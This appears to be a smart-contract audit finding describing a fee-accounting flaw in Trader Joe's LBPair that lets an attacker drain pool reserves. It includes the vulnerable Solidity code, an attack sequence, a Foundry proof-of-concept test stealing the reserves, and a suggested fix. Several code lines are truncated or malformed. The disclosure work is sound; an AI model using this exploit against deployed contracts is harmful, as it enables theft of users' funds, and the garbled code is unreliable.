Funds stolen due to an overflow happening inside an unchecked

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The reason the “unchecked” keyword exists is to allow Solidity developers to write more efficient programs. The default “checked” behavior costs more gas when calculating because under the hood those checks are implemented as a series of opcodes that, prior to performing the actual arithmetic, check for under/overflow and revert if it is detected. Solidity developer who wants to do some math in 0.8.0 or greater, and can prove that there is no possible way for arithmetic to under/overflow, then they can surround the arithmetic in an “unchecked” block.

Code with vulnerability

function _beforeTokenTransfer(
    address _from,
    address _to,
    uint256 _id,
    uint256 _amount
) internal override(LBToken) {
    unchecked {
        super._beforeTokenTransfer(_from, _to, _id, _amount);

        Bin memory _bin = _bins[_id];

        if (_from != _to) {
            if (_from != address(0) && _from != address(this)) {
                uint256 _balanceFrom = balanceOf(_from, _id);

                _cacheFees(_bin, _from, _id, _balanceFrom, _balanceFrom - _amount);

            if (_to != address(0) && _to != address(this)) {
                uint256 _balanceTo = balanceOf(_to, _id);

                _cacheFees(_bin, _to, _id, _balanceTo, _balanceTo + _amount);

Vulnerability description

In Trader Joe users can call mint() to provide liquidity and receive LP tokens, and burn() to return their LP tokens in exchange for underlying assets. Users collect fees using collectFees(account, binID). Fees are implemented using the debt model. The fundamental fee calculation is:

function _getPendingFees(
    Bin memory _bin,
    address _account,
    uint256 _id,
    uint256 _balance
) private view returns (uint256 amountX, uint256 amountY) {
    Debts memory _debts = _accruedDebts[_account][_id];

    amountX = _bin.accTokenXPerShare.mulShiftRoundDown(_balance, Constants.SCALE_OFFSET) - _debts.debtX;
    amountY = _bin.accTokenYPerShare.mulShiftRoundDown(_balance, Constants.SCALE_OFFSET) - _debts.debtY;

accTokenXPerShare and accTokenYPerShare is an ever-increasing amount that is updated when swap fees are paid to the current active bin. When liquidity is first minted to user, the _accruedDebts is updated to match current _balance * accToken*PerShare. Without this step, a user could collect fees for the entire growth of accToken*PerShare from zero to current value. This is done in _updateUserDebts(), called by _cacheFees() which is called by _beforeTokenTransfer(), the token transfer hook triggered on mint/burn/transfer. The critical problem lies in _beforeTokenTransfer() condition block.

if (_from != _to)

Note that if _fromor _to is the LBPair contract itself, _cacheFees() won’t be called on _from or _torespectively. This was presumably done because it is not expected that the LBToken address will receive any fees. It is expected that the LBToken will only hold tokens when a user sends LP tokens to burn. This is where the bug manifests — the LBToken address (and 0 address), will collect freshly minted LP token’s fees from 0 to the current accToken*PerShare value.

Proof of concept

The vulnerability can be exploited to collect the entire reserve assets. The attack flow is:

  • Transfer amount X to pair
  • Call with the to address = pair address
  • call collectFees() with pair address as account -> pair will send to itself the fees! It is interesting that both OZ ERC20 implementation and LBToken implementation allow this, otherwise, this exploit chain would not work
  • Pair will now think user sent in money, because the bookkeeping is wrong. is decremented in collectFees() but the balance did not change.

Therefore, this calculation will credit the attacker with the fees collected into the pool:

uint256 _amountIn = _swapForY
    ? tokenX.received(_pair.reserveX,
    : tokenY.received(_pair.reserveY,;
  • The attacker calls swap()and receives reserve assets using the fees collected.
  • Attacker calls burn(), passing their own address as _to parameter. This will successfully burn the minted tokens from step 1 and give Attacker their deposited assets.

And here’s the test to add in LBPair.Fees.t.sol for the PoC:

function testAttackerStealsReserve() public {
    uint256 amountY=  53333333333333331968;
    uint256 amountX = 100000;

    uint256 amountYInLiquidity = 100e18;
    uint256 totalFeesFromGetSwapX;
    uint256 totalFeesFromGetSwapY;

    addLiquidity(amountYInLiquidity, ID_ONE, 5, 0);
    uint256 id;
    (,,id ) = pair.getReservesAndId();
    console.log("id before" , id);

    //swap X -> Y and accrue X fees
    (uint256 amountXInForSwap, uint256 feesXFromGetSwap) = router.getSwapIn(pair, amountY, true);
    totalFeesFromGetSwapX += feesXFromGetSwap;, amountXInForSwap);
    pair.swap(true, DEV);
    (uint256 feesXTotal, , uint256 feesXProtocol, ) = pair.getGlobalFees();

    (,,id ) = pair.getReservesAndId();
    console.log("id after" , id);

    console.log("Bob balance:");

    uint256 amount0In = 100e18;

    uint256[] memory _ids = new uint256[](1); _ids[0] = uint256(ID_ONE);
    uint256[] memory _distributionX = new uint256[](1); _distributionX[0] = uint256(Constants.PRECISION);
    uint256[] memory _distributionY = new uint256[](1); _distributionY[0] = uint256(0);

    console.log("Minting for BOB:");
    console.log("-------------");, amount0In);
    //, amount1In);, _distributionX, _distributionY, address(pair));
    uint256[] memory amounts = new uint256[](1);
    for (uint256 i; i < 1; i++) {
        amounts[i] = pair.balanceOf(address(pair), _ids[i]);
    uint256[] memory profit_ids = new uint256[](1); profit_ids[0] = 8388608;
    (uint256 profit_X, uint256 profit_Y) = pair.pendingFees(address(pair), profit_ids);
    console.log("profit x", profit_X);
    console.log("profit y", profit_Y);
    pair.collectFees(address(pair), profit_ids);
    (uint256 swap_x, uint256 swap_y) = pair.swap(true,BOB);

    console.log("swap x", swap_x);
    console.log("swap y", swap_y);

    console.log("Bob balance after swap:");

    pair.burn(_ids, amounts, BOB);

    console.log("Bob balance after burn:");


Note that if the contract did not have the entire collectFees code in an unchecked block, the loss would be limited to the total fees accrued:

if (amountX != 0) { -= uint128(amountX);
if (amountY != 0) { -= uint128(amountY);

If the attacker would try to overflow the feesX or feesY totals, the call would revert.

Unfortunately, because of the unchecked block feesX or feesY would overflow and therefore there would be no problem for an attacker to take the entire reserves.


The attacker can steal the entire reserves of the LBPair.


The code should not exempt any address from _cacheFees().

Even address(0) is important because the attacker can collectFees for the 0 address to overflow the FeesX or FeesY variables, even though the fees are not retrievable for them.